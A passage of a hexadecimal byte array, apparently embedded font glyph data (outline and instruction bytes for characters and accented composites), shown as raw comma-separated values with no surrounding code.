0x1,0x0,0x2,0x0,0x13,0x11,0x14,0x12,0x39,0x39,0x13,0x14,0x31,0x30,0x1,0x15, + 0x9,0x1,0x15,0x1,0x35,0x3,0x77,0xfd,0x1f,0x2,0xe1,0xfc,0x89,0x4,0x8b,0x8c, + 0xfe,0xb2,0xfe,0xb1,0x8b,0x1,0x9d,0x7a,0x0,0x0,0x1,0x0,0x0,0x0,0xd7,0x3, + 0x77,0x4,0x8a,0x0,0x6,0x0,0x3f,0xb4,0x0,0x4,0x3,0x1,0x3,0x17,0x2f,0x3c, + 0xb1,0x6,0x5,0x2f,0x3c,0xb2,0x2,0x5,0x1,0x11,0x12,0x39,0x0,0x40,0xc,0x1, + 0x1,0x6,0x5,0x2,0x1,0x0,0x5,0x2,0x0,0x0,0x0,0x13,0x11,0x14,0x12,0x17, + 0x39,0x13,0x14,0xb7,0x1,0x1,0x4,0x3,0x1,0x0,0x2,0x0,0x13,0x11,0x14,0x12, + 0x39,0x39,0x13,0x14,0x31,0x30,0x3d,0x1,0x9,0x1,0x35,0x1,0x15,0x2,0xe1,0xfd, + 0x1f,0x3,0x77,0xd7,0x8c,0x1,0x4e,0x1,0x4e,0x8b,0xfe,0x63,0x7a,0x0,0x2,0x0, + 0x0,0x0,0x81,0x3,0x77,0x4,0xd7,0x0,0x6,0x0,0xa,0x0,0x55,0xb1,0x6,0x5, + 0x2f,0x3c,0xb4,0x0,0x4,0x3,0x1,0x3,0x17,0x2f,0x3c,0xb1,0xa,0x9,0x2f,0x3c, + 0xb1,0x7,0x8,0x2f,0x3c,0xb2,0x2,0x1,0x5,0x11,0x12,0x39,0x0,0xb1,0x9,0x8, + 0x2f,0x3c,0xb2,0x7,0xa,0x8,0x10,0xdd,0x3c,0x40,0xc,0x1,0x1,0x6,0x5,0x4, + 0x3,0x2,0x5,0x2,0x0,0x0,0x0,0x13,0x11,0x14,0x12,0x17,0x39,0x13,0x14,0xb7, + 0x1,0x1,0x1,0x0,0x1,0x0,0x2,0x0,0x13,0x11,0x14,0x12,0x39,0x39,0x13,0x14, + 0x31,0x30,0x1,0x15,0x9,0x1,0x15,0x1,0x35,0x1,0x15,0x21,0x35,0x3,0x77,0xfd, + 0x1f,0x2,0xe1,0xfc,0x89,0x3,0x77,0xfc,0x89,0x4,0xd7,0x86,0xfe,0xba,0xfe,0xbb, + 0x86,0x1,0x8c,0x7b,0xfd,0xbc,0x82,0x82,0x0,0x0,0x2,0x0,0x0,0x0,0x81,0x3, + 0x77,0x4,0xd7,0x0,0x6,0x0,0xa,0x0,0x55,0xb4,0x0,0x4,0x3,0x1,0x3,0x17, + 0x2f,0x3c,0xb1,0x6,0x5,0x2f,0x3c,0xb1,0x7,0x8,0x2f,0x3c,0xb1,0xa,0x9,0x2f, + 0x3c,0xb2,0x2,0x5,0x1,0x11,0x12,0x39,0x0,0xb1,0x7,0xa,0x2f,0x3c,0xb2,0x9, + 0x8,0xa,0x10,0xdd,0x3c,0x40,0xc,0x1,0x1,0x6,0x5,0x2,0x1,0x0,0x5,0x2, + 0x0,0x0,0x0,0x13,0x11,0x14,0x12,0x17,0x39,0x13,0x14,0xb7,0x1,0x1,0x4,0x3, + 0x1,0x0,0x2,0x0,0x13,0x11,0x14,0x12,0x39,0x39,0x13,0x14,0x31,0x30,0x11,0x35, + 0x9,0x1,0x35,0x1,0x15,0x1,0x35,0x21,0x15,0x2,0xe1,0xfd,0x1f,0x3,0x77,0xfc, + 0x89,0x3,0x77,0x1,0x40,0x86,0x1,0x46,0x1,0x45,0x86,0xfe,0x6f,0x7a,0xfd,0xb5, + 0x82,0x82,0x0,0x0,0x1,0x0,0x0,0x0,0x0,0x3,0x77,0x2,0x22,0x0,0x5,0x0, + 0x25,0xb1,0x3,0x2,0x2f,0x3c,0xb1,0x5,0x4,0x2f,0x3c,0xb2,0x0,0x1,0x4,0x10, + 0xdd,0x3c,0x0,0xb1,0x0,0x5,0x2f,0x3c,0xb1,0x2,0x1,0x2f,0x3c,0xb2,0x4,0x3, + 0x1,0x10,0xdd,0x3c,0x31,0x30,0x21,0x11,0x21,0x35,0x21,0x11,0x2,0xeb,0xfd,0x15, + 0x3,0x77,0x1,0xa0,0x82,0xfd,0xde,0x0,0x3,0x0,0x0,0x1,0x80,0x5,0xa,0x3, + 0xf2,0x0,0x10,0x0,0x18,0x0,0x20,0x0,0x5b,0xb5,0x19,0x11,0xd,0x9,0x4,0x0, + 0x2e,0x2f,0x2e,0x2f,0x2e,0x2e,0xb3,0x1d,0x4,0x15,0xd,0x10,0xcd,0x10,0xcd,0x0, + 0x40,0xf,0xf,0x2,0x1,0x1,0x19,0x11,0xf,0x9,0x2,0x0,0x6,0x2,0x0,0x0, + 0x0,0x13,0x11,0x14,0x12,0x17,0x39,0x13,0x14,0x2f,0x2f,0x40,0xa,0xb,0x7,0x1, + 0x1,0xb,0x7,0x1,0x0,0x2,0x0,0x13,0x11,0x14,0x12,0x39,0x39,0x13,0x14,0x2f, + 0x2f,0xb7,0x1f,0x2,0x1b,0x7,0x17,0xb,0x13,0xf,0x10,0xcd,0x10,0xcd,0x10,0xcd, + 0x10,0xcd,0x31,0x30,0x1,0x6,0x23,0x20,0x11,0x34,0x36,0x33,0x32,0x17,0x36,0x33, + 0x20,0x11,0x10,0x21,0x22,0x3,0x16,0x33,0x32,0x35,0x34,0x23,0x22,0x5,0x26,0x23, + 0x22,0x15,0x14,0x33,0x32,0x2,0x88,0x99,0xb9,0xfe,0xca,0xae,0x89,0xb8,0x93,0x94, + 0xc0,0x1,0x34,0xfe,0xce,0xbe,0x4f,0x7e,0x83,0xb9,0xbb,0x7f,0xfe,0xf3,0x7b,0x85, + 0xb9,0xbb,0x7f,0x2,0x5b,0xda,0x1,0x39,0x89,0xaf,0xda,0xda,0xfe,0xc6,0xfe,0xc8, + 0x1,0x39,0xc5,0xc8,0xc2,0xc6,0xc6,0xc7,0xc2,0x0,0x1,0x0,0x0,0xfe,0x0,0x4, + 0xfd,0x6,0x0,0x0,0x13,0x0,0x66,0xb4,0x0,0x13,0x10,0xf,0x3,0x17,0x2f,0x3c, + 0xb1,0x12,0x11,0x2f,0x3c,0xb1,0x4,0x3,0x2f,0x3c,0xb4,0x6,0x5,0x2,0x1,0x3, + 0x17,0x2f,0x3c,0xb2,0xe,0xd,0xf,0x10,0xdd,0x3c,0xb2,0xa,0x9,0x3,0x10,0xdd, + 0x3c,0xb2,0xc,0xb,0x11,0x10,0xdd,0x3c,0xb2,0x8,0x7,0x1,0x10,0xdd,0x3c,0x0, + 0xb4,0xf,0xe,0x7,0x6,0x3,0x17,0x2f,0x3c,0xb1,0x0,0x1,0x2f,0x3c,0x40,0xa, + 0x11,0x10,0xd,0xc,0x9,0x8,0x5,0x4,0x7,0x6,0x10,0x17,0xdd,0x3c,0xb7,0x13, + 0x12,0xb,0xa,0x3,0x2,0x5,0x1,0x10,0x17,0xdd,0x3c,0x31,0x30,0x11,0x21,0x15, + 0x23,0x11,0x33,0x15,0x21,0x35,0x33,0x11,0x21,0x11,0x33,0x15,0x21,0x35,0x33,0x11, + 0x23,0x4,0xfd,0xa3,0xa3,0xfe,0x29,0xa8,0xfd,0x60,0xa9,0xfe,0x29,0xa2,0xa2,0x6, + 0x0,0x82,0xf9,0x4,0x82,0x82,0x6,0xfc,0xf9,0x4,0x82,0x82,0x6,0xfc,0x0,0x0, + 0x1,0x0,0x0,0xfe,0x0,0x4,0x9e,0x6,0x0,0x0,0xf,0x0,0x70,0xb4,0xf,0xe, + 0xc,0xb,0x3,0x17,0x2f,0x3c,0xb1,0x0,0x1,0x2f,0x3c,0xb1,0xa,0x9,0x2f,0x3c, + 0x40,0xb,0xd,0x8,0x7,0x6,0x5,0x4,0x3,0x2,0x8,0x1,0xb,0x11,0x12,0x17, + 0x39,0x0,0xb1,0xb,0xa,0x2f,0x3c,0xb1,0x0,0xf,0x2f,0x3c,0xb2,0x9,0x8,0xa, + 0x10,0xdd,0x3c,0xb2,0x7,0x6,0xa,0x10,0xdd,0x3c,0xb2,0x4,0x3,0xf,0x10,0xdd, + 0x3c,0xb2,0x2,0x1,0xf,0x10,0xdd,0x3c,0xb2,0xc,0x8,0x6,0x11,0x12,0x39,0xb7, + 0x1,0x1,0xd,0x5,0x2,0x0,0x0,0x0,0x13,0x11,0x14,0x12,0x39,0x39,0x13,0x14, + 0xb4,0x1,0xe,0x3,0x1,0x0,0x13,0x11,0x12,0x39,0x13,0x31,0x30,0x1,0x11,0x23, + 0x3,0x21,0x9,0x1,0x21,0x13,0x33,0x11,0x21,0x35,0x9,0x1,0x35,0x4,0x8b,0x80, + 0xc,0xfc,0x9d,0x2,0x6,0xfd,0xfa,0x3,0x76,0x7,0x85,0xfb,0x62,0x1,0xfe,0xfe, + 0x2,0x6,0x0,0xfe,0x30,0x1,0x4e,0xfc,0xad,0xfc,0x57,0x1,0x4e,0xfe,0x30,0x93, + 0x3,0x98,0x3,0x47,0x8e,0x0,0x2,0x0,0x0,0xff,0xe9,0x3,0x7f,0x5,0x5d,0x0, + 0x12,0x0,0x1e,0x0,0x50,0xb4,0xf,0xa,0x4,0x1,0x0,0x2e,0x2e,0x2f,0x2f,0x2e, + 0xb3,0x1c,0x4,0x16,0xa,0x10,0xcd,0x10,0xcd,0x0,0xb3,0x1,0x1,0x1,0x0,0x13, + 0x10,0xc0,0x13,0x40,0x9,0xd,0x1,0x1,0xf,0xd,0x2,0x0,0x0,0x0,0x13,0x11, + 0x14,0x12,0x39,0x39,0x13,0x14,0x2f,0xb6,0x1,0x1,0x0,0x1,0x0,0x2,0x0,0x13, + 0x11,0x14,0x12,0x39,0x13,0x14,0xb1,0x7,0x0,0x3f,0xb3,0x19,0x7,0x13,0xd,0x10, + 0xcd,0x10,0xcd,0x31,0x30,0x13,0x37,0x4,0x0,0x11,0x14,0x2,0x23,0x22,0x0,0x35, + 0x34,0x12,0x33,0x32,0x17,0x26,0x27,0x2,0x3,0x22,0x6,0x15,0x14,0x16,0x33,0x32, + 0x36,0x35,0x34,0x26,0x71,0x13,0x1,0x6b,0x1,0x90,0xf6,0xc8,0xb8,0xfe,0xf7,0xf7, + 0xae,0xbd,0x7b,0x9,0x4,0xa7,0x60,0x82,0xb4,0xb2,0x7c,0x80,0xab,0xa5,0x4,0xe0, + 0x7d,0x33,0xfe,0x35,0xfe,0x93,0xe9,0xfe,0xe0,0x1,0x10,0xbe,0xba,0x1,0xa,0x9c, + 0x16,0xb,0x1,0xa2,0xfe,0x6c,0xcc,0x93,0x8e,0xcb,0xcf,0x9b,0x91,0xbd,0x0,0x0, + 0x1,0x0,0x0,0x2,0xf0,0x3,0x92,0x5,0x59,0x0,0x6,0x0,0x2f,0xb6,0x6,0x5, + 0x4,0x3,0x2,0x1,0x0,0x2e,0x2e,0x2e,0x2e,0x2e,0x2e,0x2e,0x0,0xb4,0x0,0x5, + 0x4,0x1,0x3,0x17,0x2f,0x3c,0xb1,0x3,0x2,0x2f,0x3c,0xb6,0x1,0x1,0x6,0x1, + 0x0,0x2,0x0,0x13,0x11,0x14,0x12,0x39,0x13,0x14,0x31,0x30,0x13,0x23,0x1,0x33, + 0x1,0x23,0x1,0x98,0x98,0x1,0x6d,0xb8,0x1,0x6d,0x99,0xfe,0xce,0x2,0xf0,0x2, + 0x69,0xfd,0x97,0x1,0xfa,0x0,0x1,0x0,0x0,0xfe,0xab,0x0,0x8c,0x5,0x55,0x0, + 0x3,0x0,0x1f,0xb1,0x0,0x3,0x2f,0x3c,0xb2,0x2,0x1,0x3,0x10,0xdd,0x3c,0x0, + 0xb4,0x1,0x0,0x1,0x0,0x0,0x13,0x10,0xcd,0xcd,0x13,0xb1,0x3,0x2,0x2f,0x3c, + 0x31,0x30,0x11,0x33,0x11,0x23,0x8c,0x8c,0x5,0x55,0xf9,0x56,0x0,0x0,0x1,0x0, + 0x0,0xfe,0xf6,0x4,0x0,0xff,0x78,0x0,0x3,0x0,0x19,0xb1,0x0,0x3,0x2f,0x3c, + 0xb1,0x2,0x1,0x2f,0x3c,0x0,0xb1,0x3,0x2,0x2f,0x3c,0xb2,0x0,0x1,0x2,0x10, + 0xdd,0x3c,0x31,0x30,0x15,0x21,0x15,0x21,0x4,0x0,0xfc,0x0,0x88,0x82,0x0,0x0, + 0x1,0x0,0x0,0x0,0x0,0x4,0x28,0x3,0xd5,0x0,0xb,0x0,0x40,0xb1,0x3,0x2, + 0x2f,0x3c,0xb1,0x0,0x1,0x2f,0x3c,0xb1,0x7,0x6,0x2f,0x3c,0xb1,0x5,0x4,0x2f, + 0x3c,0xb2,0x9,0x8,0x6,0x10,0xdd,0x3c,0xb2,0xb,0xa,0x1,0x10,0xdd,0x3c,0x0, + 0xb4,0x0,0xb,0x8,0x7,0x3,0x17,0x2f,0x3c,0xb1,0x4,0x3,0x2f,0x3c,0xb7,0xa, + 0x9,0x6,0x5,0x2,0x1,0x5,0x3,0x10,0x17,0xdd,0x3c,0x31,0x30,0x33,0x11,0x23, + 0x35,0x21,0x15,0x23,0x11,0x23,0x11,0x21,0x11,0x98,0x98,0x4,0x28,0x96,0x8c,0xfe, + 0x1e,0x3,0x53,0x82,0x82,0xfc,0xad,0x3,0x53,0xfc,0xad,0x0,0x1,0x0,0x0,0x4, + 0xac,0x3,0xd8,0x5,0xce,0x0,0x12,0x0,0x38,0xb3,0xa,0x9,0x1,0x0,0x2e,0x2e, + 0x2e,0x2e,0x0,0xb5,0x1,0xa,0x9,0x3,0x1,0x0,0x13,0x10,0xc4,0xc0,0xc0,0x13, + 0x40,0xb,0xc,0x1,0x1,0xc,0x1,0x0,0x3,0x1,0x0,0x2,0x0,0x13,0x11,0x14, + 0x12,0x17,0x39,0x13,0x14,0x2f,0xb3,0x11,0x3,0x7,0xc,0x10,0xcd,0x10,0xcd,0x31, + 0x30,0x13,0x27,0x36,0x33,0x32,0x17,0x16,0x33,0x32,0x37,0x17,0x6,0x23,0x22,0x2f, + 0x1,0x26,0x23,0x22,0x54,0x54,0x73,0xa4,0x4d,0x99,0x8d,0x3d,0x66,0x55,0x56,0x72, + 0xac,0x4b,0x63,0x76,0x55,0x36,0x64,0x4,0xac,0x36,0xe8,0x4a,0x45,0x93,0x33,0xe2, + 0x2f,0x37,0x29,0x0,0x1,0x0,0x0,0xfe,0xaa,0x3,0x39,0x3,0xd7,0x0,0x11,0x0, + 0x50,0xb1,0x0,0x1,0x2f,0x3c,0xb1,0xa,0x9,0x2f,0x3c,0xb5,0x11,0x10,0x3,0x2, + 0x3,0x1,0x10,0x17,0xdd,0x3c,0xb5,0xc,0xb,0x8,0x7,0x3,0x9,0x10,0x17,0xdd, + 0x3c,0x0,0xb1,0x0,0x11,0x2f,0x3c,0xb1,0xb,0xa,0x2f,0x3c,0xb4,0x9,0x8,0x2, + 0x1,0x3,0x17,0x2f,0x3c,0x40,0x9,0x1,0x10,0xc,0x7,0x3,0x4,0x2,0x0,0xa, + 0x11,0x14,0x12,0x17,0x39,0x14,0xb1,0xe,0x0,0x3f,0xb1,0x5,0xe,0x10,0xcd,0x31, + 0x30,0x19,0x1,0x33,0x11,0x10,0x21,0x20,0x19,0x1,0x33,0x11,0x23,0x35,0x6,0x23, + 0x22,0x27,0x11,0x8c,0x1,0xc,0x1,0x15,0x8c,0x8c,0x5c,0xbc,0xa9,0x60,0xfe,0xaa, + 0x5,0x2d,0xfd,0xd1,0xfe,0xab,0x1,0x68,0x2,0x1c,0xfc,0x29,0xb4,0xce,0x98,0xfe, + 0x2c,0x0,0x1,0x0,0x0,0x0,0x0,0x4,0xe1,0x5,0x76,0x0,0x1b,0x0,0x60,0xb2, + 0x0,0x4,0x1,0x2f,0x3c,0x3c,0xb2,0xe,0xd,0xa,0x2f,0x3c,0x3c,0xb2,0x1b,0x1a, + 0x1,0x10,0xdd,0x3c,0xb2,0x10,0xf,0xa,0x10,0xdd,0x3c,0xb2,0x2,0x1a,0x1,0x11, + 0x12,0x39,0xb2,0xc,0xa,0xf,0x11,0x12,0x39,0xb3,0x18,0x4,0x12,0xa,0x10,0xcd, + 0x10,0xcd,0x0,0xb6,0x1,0xd,0xc,0x2,0x1,0x0,0x0,0x13,0x10,0xcd,0xcd,0xcd, + 0xcd,0x13,0xb4,0x0,0x1b,0xf,0xe,0x3,0x17,0x2f,0x3c,0xb3,0x1a,0x10,0x1,0xe, + 0x11,0x12,0x39,0x39,0xb1,0x7,0x1,0x3f,0xb1,0x15,0x7,0x10,0xcd,0x31,0x30,0x31, + 0x35,0x21,0x24,0x11,0x10,0x0,0x21,0x20,0x0,0x11,0x10,0x5,0x21,0x15,0x21,0x35, + 0x24,0x11,0x34,0x0,0x23,0x22,0x0,0x15,0x10,0x5,0x15,0x1,0x77,0xfe,0x89,0x1, + 0x6a,0x1,0x7,0x1,0x7,0x1,0x69,0xfe,0x89,0x1,0x77,0xfd,0xe8,0x1,0x85,0xfe, + 0xea,0xc7,0xca,0xfe,0xec,0x1,0x85,0x82,0xd9,0x1,0x8e,0x1,0x13,0x1,0x7a,0xfe, + 0x86,0xfe,0xed,0xfe,0x71,0xd8,0x82,0x76,0xde,0x1,0x84,0xe1,0x1,0x3b,0xfe,0xc8, + 0xe5,0xfe,0x7b,0xdc,0x76,0xff,0xff,0x0,0xa,0x0,0x0,0x4,0xd4,0x6,0x7c,0x0, + 0x36,0x0,0x5,0x0,0x0,0x0,0x16,0x0,0xed,0x0,0x0,0xff,0xff,0x0,0xa,0x0, + 0x0,0x4,0xd4,0x6,0xcd,0x0,0x36,0x0,0x5,0x0,0x0,0x0,0x16,0x0,0xee,0x0, + 0x0,0xff,0xff,0x0,0xa,0x0,0x0,0x4,0xd4,0x6,0xcd,0x0,0x36,0x0,0x5,0x0, + 0x0,0x0,0x16,0x0,0xef,0x0,0x0,0xff,0xff,0x0,0xa,0x0,0x0,0x4,0xd4,0x6, + 0xc7,0x0,0x36,0x0,0x5,0x0,0x0,0x0,0x16,0x0,0xf0,0x0,0x0,0xff,0xff,0x0, + 0xa,0x0,0x0,0x4,0xd4,0x6,0xa2,0x0,0x36,0x0,0x5,0x0,0x0,0x0,0x16,0x0, + 0xf1,0x0,0x0,0xff,0xff,0x0,0xa,0x0,0x0,0x4,0xd4,0x6,0xef,0x0,0x36,0x0, + 0x5,0x0,0x0,0x0,0x16,0x0,0xf2,0x0,0x0,0xff,0xff,0x0,0x4b,0x0,0x0,0x3, + 0xb8,0x6,0x7c,0x0,0x36,0x0,0x9,0x0,0x0,0x0,0x16,0x0,0xf3,0x0,0x0,0xff, + 0xff,0x0,0x4b,0x0,0x0,0x3,0xb8,0x6,0xcd,0x0,0x36,0x0,0x9,0x0,0x0,0x0, + 0x16,0x0,0xf4,0x0,0x0,0xff,0xff,0x0,0x4b,0x0,0x0,0x3,0xb8,0x6,0xcd,0x0, + 0x36,0x0,0x9,0x0,0x0,0x0,0x16,0x0,0xf5,0x0,0x0,0xff,0xff,0x0,0x4b,0x0, + 0x0,0x3,0xb8,0x6,0xc7,0x0,0x36,0x0,0x9,0x0,0x0,0x0,0x16,0x0,0xf6,0x0, + 0x0,0xff,0xff,0x0,0x15,0x0,0x0,0x1,0x8b,0x6,0x7c,0x0,0x36,0x0,0xd,0x0, + 0x0,0x0,0x16,0x0,0xf7,0x0,0x0,0xff,0xff,0x0,0x6f,0x0,0x0,0x1,0xd5,0x6, + 0xcd,0x0,0x36,0x0,0xd,0x0,0x0,0x0,0x16,0x0,0xf8,0x0,0x0,0xff,0xff,0xff, + 0xcb,0x0,0x0,0x1,0x31,0x6,0xcd,0x0,0x36,0x0,0xd,0xfe,0x0,0x0,0x16,0x0, + 0xf9,0x0,0x0,0xff,0xff,0xff,0xae,0x0,0x0,0x1,0xf2,0x6,0xc7,0x0,0x36,0x0, + 0xd,0x0,0x0,0x0,0x16,0x0,0xfa,0x0,0x0,0xff,0xff,0x0,0x82,0x0,0x0,0x5, + 0x10,0x6,0xa2,0x0,0x36,0x0,0x12,0x0,0x0,0x0,0x16,0x0,0xfb,0x0,0x0,0xff, + 0xff,0x0,0x2f,0xff,0xf2,0x4,0xba,0x6,0x7c,0x0,0x36,0x0,0x13,0x0,0x0,0x0, + 0x16,0x0,0xfc,0x1,0x0,0xff,0xff,0x0,0x2f,0xff,0xf2,0x4,0xba,0x6,0xcd,0x0, + 0x36,0x0,0x13,0x0,0x0,0x0,0x16,0x0,0xfd,0x1,0x0,0xff,0xff,0x0,0x2f,0xff, + 0xf2,0x4,0xba,0x6,0xcd,0x0,0x36,0x0,0x13,0x0,0x0,0x0,0x16,0x0,0xfe,0x1, + 0x0,0xff,0xff,0x0,0x2f,0xff,0xf2,0x4,0xba,0x6,0xc7,0x0,0x36,0x0,0x13,0x0, + 0x0,0x0,0x16,0x0,0xff,0x1,0x0,0xff,0xff,0x0,0x2f,0xff,0xf2,0x4,0xba,0x6, + 0xa2,0x0,0x36,0x0,0x13,0x0,0x0,0x0,0x16,0x1,0x0,0x1,0x0,0xff,0xff,0x0, + 0x83,0xff,0xf2,0x4,0xbc,0x6,0x7c,0x0,0x36,0x0,0x19,0x0,0x0,0x0,0x16,0x1, + 0x3,0x0,0x0,0xff,0xff,0x0,0x83,0xff,0xf2,0x4,0xbc,0x6,0xcd,0x0,0x36,0x0, + 0x19,0x0,0x0,0x0,0x16,0x1,0x4,0x0,0x0,0xff,0xff,0x0,0x83,0xff,0xf2,0x4, + 0xbc,0x6,0xcd,0x0,0x36,0x0,0x19,0x0,0x0,0x0,0x16,0x1,0x5,0x0,0x0,0xff, + 0xff,0x0,0x83,0xff,0xf2,0x4,0xbc,0x6,0xc7,0x0,0x36,0x0,0x19,0x0,0x0,0x0, + 0x16,0x1,0x6,0x0,0x0,0xff,0xff,0xff,0xf6,0x0,0x0,0x4,0x8b,0x6,0x7c,0x0, + 0x36,0x0,0x1d,0x0,0x0,0x0,0x16,0x1,0x9,0x0,0x0,0xff,0xff,0x0,0x59,0xff, + 0xf2,0x3,0x8c,0x4,0xe8,0x0,0x36,0x0,0x23,0x0,0x0,0x0,0x16,0x0,0x89,0xfd, + 0x0,0xff,0xff,0x0,0x59,0xff,0xf2,0x3,0x8c,0x5,0x47,0x0,0x36,0x0,0x23,0x0, + 0x0,0x0,0x16,0x0,0x8c,0xb,0x0,0xff,0xff,0x0,0x59,0xff,0xf2,0x3,0x8c,0x5, + 0x47,0x0,0x36,0x0,0x23,0x0,0x0,0x0,0x16,0x0,0x8d,0xb,0x0,0xff,0xff,0x0, + 0x59,0xff,0xf2,0x3,0x8c,0x5,0x49,0x0,0x36,0x0,0x23,0x0,0x0,0x0,0x16,0x0, + 0x8e,0xfd,0x0,0xff,0xff,0x0,0x59,0xff,0xf2,0x3,0x8c,0x4,0xff,0x0,0x36,0x0, + 0x91,0xb,0x0,0x0,0x16,0x1,0xa,0x1,0x0,0xff,0xff,0x0,0x59,0xff,0xf2,0x3, + 0x8c,0x5,0x55,0x0,0x36,0x0,0x23,0x0,0x0,0x0,0x16,0x0,0x8b,0xfd,0x0,0xff, + 0xff,0x0,0x5f,0xff,0xf2,0x3,0xa4,0x4,0xe8,0x0,0x36,0x0,0x27,0x0,0x0,0x0, + 0x16,0x0,0x89,0x10,0x0,0xff,0xff,0x0,0x5f,0xff,0xf2,0x3,0xa4,0x5,0x47,0x0, + 0x36,0x0,0x27,0x0,0x0,0x0,0x16,0x0,0x8c,0x10,0x0,0xff,0xff,0x0,0x5f,0xff, + 0xf2,0x3,0xa4,0x5,0x47,0x0,0x36,0x0,0x27,0x0,0x0,0x0,0x16,0x0,0x8d,0x10, + 0x0,0xff,0xff,0x0,0x5f,0xff,0xf2,0x3,0xa4,0x5,0x49,0x0,0x36,0x0,0x27,0x0, + 0x0,0x0,0x16,0x0,0x8e,0x10,0x0,0xff,0xff,0xff,0xf0,0x0,0x0,0x1,0x92,0x4, + 0xe8,0x0,0x36,0x0,0x41,0x0,0x0,0x0,0x16,0x1,0xb,0x0,0x0,0xff,0xff,0x0, + 0x59,0x0,0x0,0x1,0xb0,0x5,0x47,0x0,0x36,0x0,0x41,0x0,0x0,0x0,0x17,0x0, + 0x8c,0xfe,0xce,0x0,0x0,0xff,0xff,0xff,0xd1,0x0,0x0,0x1,0x28,0x5,0x47,0x0, + 0x36,0x0,0x41,0x0,0x0,0x0,0x17,0x0,0x8d,0xfe,0xb3,0x0,0x0,0x0,0x2,0xff, + 0xd5,0x0,0x0,0x1,0xac,0x5,0x49,0x0,0x3,0x0,0x9,0x0,0x43,0xb1,0x3,0x2, + 0x2f,0x3c,0xb2,0x0,0x1,0x2,0x10,0xdd,0x3c,0xb5,0x9,0x8,0x7,0x6,0x5,0x4, + 0x2e,0x2e,0x2e,0x2e,0x2e,0x2e,0x0,0xb4,0x1,0x0,0x3,0x0,0x0,0x13,0x10,0xcd, + 0xcd,0x13,0xb1,0x2,0x1,0x2f,0x3c,0x40,0xd,0x1,0x1,0x9,0x8,0x7,0x6,0x5, + 0x4,0x6,0x1,0x0,0x2,0x0,0x13,0x11,0x14,0x12,0x17,0x39,0x13,0x14,0x31,0x30, + 0x1,0x11,0x23,0x11,0x13,0x17,0x7,0x27,0x7,0x27,0x1,0x7,0x8c,0x45,0xec,0x39, + 0xb3,0xb2,0x39,0x3,0xbc,0xfc,0x44,0x3,0xbc,0x1,0x8d,0xd1,0x47,0x98,0x98,0x47, + 0x0,0xff,0xff,0x0,0x7b,0x0,0x0,0x3,0x9e,0x4,0xff,0x0,0x36,0x0,0x30,0x0, + 0x0,0x0,0x16,0x0,0x91,0x1d,0x0,0xff,0xff,0x0,0x60,0xff,0xf2,0x3,0xad,0x4, + 0xe8,0x0,0x36,0x0,0x31,0x0,0x0,0x0,0x16,0x0,0x89,0x7,0x0,0xff,0xff,0x0, + 0x60,0xff,0xf2,0x3,0xad,0x5,0x47,0x0,0x36,0x0,0x31,0x0,0x0,0x0,0x16,0x0, + 0x8c,0x6,0x0,0xff,0xff,0x0,0x60,0xff,0xf2,0x3,0xad,0x5,0x47,0x0,0x36,0x0, + 0x31,0x0,0x0,0x0,0x16,0x0,0x8d,0x14,0x0,0xff,0xff,0x0,0x60,0xff,0xf2,0x3, + 0xad,0x5,0x49,0x0,0x36,0x0,0x31,0x0,0x0,0x0,0x16,0x0,0x8e,0x6,0x0,0xff, + 0xff,0x0,0x60,0xff,0xf2,0x3,0xad,0x4,0xff,0x0,0x36,0x0,0x31,0x0,0x0,0x0, + 0x16,0x0,0x91,0x1b,0x0,0xff,0xff,0x0,0x7b,0xff,0xf2,0x3,0x87,0x4,0xe8,0x0, + 0x36,0x0,0x37,0x0,0x0,0x0,0x16,0x0,0x89,0x8,0x0,0xff,0xff,0x0,0x7b,0xff, + 0xf2,0x3,0x87,0x5,0x47,0x0,0x36,0x0,0x37,0x0,0x0,0x0,0x16,0x0,0x8c,0x8, + 0x0,0xff,0xff,0x0,0x7b,0xff,0xf2,0x3,0x87,0x5,0x47,0x0,0x36,0x0,0x37,0x0, + 0x0,0x0,0x16,0x0,0x8d,0x8,0x0,0xff,0xff,0x0,0x7b,0xff,0xf2,0x3,0x87,0x5, + 0x49,0x0,0x36,0x0,0x37,0x0,0x0,0x0,0x16,0x0,0x8e,0x8,0x0,0xff,0xff,0xff, + 0xf9,0xfe,0x53,0x3,0x22,0x4,0xe8,0x0,0x36,0x0,0x3b,0x0,0x0,0x0,0x16,0x0, + 0x89,0x8e,0x0,0x0,0x2,0x0,0x0,0x0,0x0,0x4,0xee,0x5,0x55,0x0,0xc,0x0, + 0x19,0x0,0x64,0xb1,0x2,0x1,0x2f,0x3c,0xb4,0x0,0xc,0x4,0x3,0x3,0x17,0x2f, + 0x3c,0xb1,0x19,0x18,0x2f,0x3c,0xb5,0xd,0x17,0x16,0xe,0x3,0x3,0x10,0x17,0xdd, + 0x3c,0xb5,0x15,0xf,0xb,0x8,0x5,0x18,0x10,0xc0,0xc4,0xc0,0xc0,0xc0,0xb1,0x12, + 0x8,0x10,0xcd,0x0,0x40,0xb,0x1,0x16,0x15,0x1,0x5,0x4,0x0,0xf,0xe,0x0, + 0x0,0x13,0x10,0xcd,0xcd,0x10,0xcd,0xcd,0x10,0xcd,0xcd,0x13,0xb1,0xc,0xb,0x2f, + 0x3c,0xb4,0x18,0x17,0x3,0x2,0x3,0x17,0x2f,0x3c,0xb5,0xd,0x19,0x0,0x1,0x3, + 0x2,0x10,0x17,0xdd,0x3c,0x31,0x30,0x13,0x23,0x35,0x33,0x11,0x21,0x20,0x12,0x11, + 0x10,0x2,0x29,0x1,0x13,0x11,0x21,0x32,0x36,0x11,0x10,0x26,0x23,0x21,0x11,0x21, + 0x15,0x82,0x82,0x82,0x2,0x76,0x1,0x26,0xd0,0xba,0xfe,0xeb,0xfd,0x63,0x9a,0x1, + 0xbb,0xf6,0x8e,0x7c,0xe8,0xfe,0x25,0x1,0xb2,0x2,0x80,0x74,0x2,0x61,0xfe,0xfe, + 0xfe,0x93,0xfe,0x44,0xfe,0xd6,0x2,0x80,0xfe,0x2,0xc4,0x1,0x53,0x1,0x74,0xc6, + 0xfe,0x21,0x74,0x0,0x2,0x0,0x82,0x0,0x0,0x4,0x82,0x5,0x55,0x0,0xe,0x0, + 0x18,0x0,0x53,0xb1,0x0,0x1,0x2f,0x3c,0xb7,0xf,0x18,0xe,0xd,0x3,0x2,0x5, + 0x1,0x10,0x17,0xdd,0x3c,0xb6,0x17,0x10,0xc,0x8,0x5,0x4,0x2,0x10,0xc0,0xc0, + 0xc4,0xc0,0xc0,0xc0,0xb1,0x13,0x8,0x10,0xcd,0x0,0xb4,0x1,0x2,0x1,0x0,0x0, + 